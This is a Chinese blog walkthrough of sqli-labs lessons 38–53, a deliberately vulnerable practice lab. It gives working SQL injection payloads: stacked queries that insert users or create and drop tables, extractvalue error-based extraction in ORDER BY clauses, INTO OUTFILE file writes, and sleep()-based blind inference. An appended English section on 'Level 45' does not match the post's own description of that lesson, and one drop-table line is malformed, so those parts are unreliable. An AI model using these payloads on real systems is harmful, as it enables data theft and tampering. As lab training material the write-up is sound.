sqlilabs——Pages3

本文深入探讨了SQL堆叠注入的各种类型,包括利用无闭合、报错型和盲注等方法进行攻击的实例。通过POST请求,攻击者可以创建、删除表或者获取敏感信息。同时,还讨论了报错注入在orderby场景中的应用,以及如何通过错误回显和文件导入等方式探测漏洞。堆叠注入的局限性主要在于环境、API和数据库引擎的限制。

堆叠注入

  • stacked injection
  • 结束;
  • 多条sql语句一起执行
  • Select * from products where productid=1;DELETE FROM products
  • 局限性:环境、API、数据库引擎

在这里插入图片描述

38 堆叠注入 '

sql语句在这里插入图片描述

?id=2';insert into users(id,username,password) values ('38','less38','hello')--+	// Your Username is : Angelina  Your Password is : I-kill-you

在这里插入图片描述

39 堆叠注入 无闭合

在这里插入图片描述

?id=2;insert into users(id,username,password) values ('39','less39','hello')--+	// Your Username is : Angelina  Your Password is : I-kill-you

在这里插入图片描述

40 堆叠注入 ')

?id=2');insert into users(id,username,password) values ('40','less40','hello')--+	// Your Username is : Angelina  Your Password is : I-kill-you

41 堆叠注入 盲注

?id=2;insert into users(id,username,password) values ('41','less41','hello')--+	// Your Username is : Angelina  Your Password is : I-kill-you

42 堆叠注入 报错型 POST

在这里插入图片描述

admin
admin';create table less42 like users--+
admin';drop table less42 like users--+

在这里插入图片描述
有被冒犯到
在这里插入图片描述

43 堆叠注入 报错型 POST ')

在这里插入图片描述

44 堆叠注入 报错型 POST 盲注 ')

在这里插入图片描述

a';insert into users(id,username,password) values ('44','less44','hello')#

在这里插入图片描述

45 堆叠注入 报错型 POST 盲注 ')

在这里插入图片描述

Order by

46 order by 报错型

在这里插入图片描述

?sort=1   // 显示排序表格
?sort=1'  // 报错    肯定有报错注入  
?sort=1 desc
?sort=1 asc   

// 采取报错注入
?sort=(extractvalue(1,concat(0x7e,(select user()),0x73)))#    // XPATH syntax error: '~root@localhosts'
?sort=(extractvalue(1,concat(0x7e,(select version()),0x73)))#  //XPATH syntax error: '~5.7.26s'

47 order by 报错型 '

?sort=1' and (extractvalue(1,concat(0x7e,(select user()),0x73)))#    // XPATH syntax error: '~root@localhosts'
?sort=1' into outfile "D:\\phpstudy\\phpstudypro\\WWW\\sqlilabs\\Less-47\\test.txt"--+    //The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

48 order by 不能报错回显

导入文件or延时注入

?sort=1 into outfile "D:\\phpstudy\\phpstudypro\\WWW\\sqlilabs\\Less-47\\test.txt"--+  

49 order by 不能报错回显 '

$sql = "SELECT * FROM users ORDER BY '$id'";

导入文件or延时注入

?sort=1 and (if(ascii(substr((select username from users where id=1),1,1))=69,0,sleep(5)))--+

50 堆叠+order by 报错型

?sort=1;create table less50 like users

51 堆叠+order by 报错型 ’

在这里插入图片描述

?sort=1';create table less50 like users

52 堆叠+order by 报错型 盲注

53 堆叠+order by 报错型 盲注’

一摸一样不再赘述

### SQLiLabs Level 45 Walkthrough In SQLi Labs, each level presents unique challenges that require understanding of different aspects of SQL injection vulnerabilities. For Level 45, the challenge involves exploiting a time-based blind SQL injection vulnerability where direct data retrieval is not possible but one can infer information based on response times[^1]. The application under test has an input field which accepts user-supplied data and uses this within a query to check against the database. The goal here is to determine whether certain conditions are true by measuring how long it takes for responses to come back from the server. A common technique used in solving such levels includes using MySQL's `SLEEP()` function combined with conditional logic inside injected queries. By crafting payloads that cause delays when specific criteria match (or do not), attackers can deduce details about underlying databases without seeing actual content directly returned via web pages. For instance, consider constructing tests like: ```sql ' OR IF((SELECT ASCII(SUBSTRING(@@version,1,1)))=50,SLEEP(5),false) -- ``` This payload checks if the first character of the version string equals '2'. If so, the sleep command will execute causing noticeable delay; otherwise, there should be no significant change in load time indicating false condition evaluation. To systematically uncover more characters sequentially adjust position parameters while iterating over potential values until entire desired piece of information gets revealed through timing differences observed during interactions with vulnerable endpoint.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值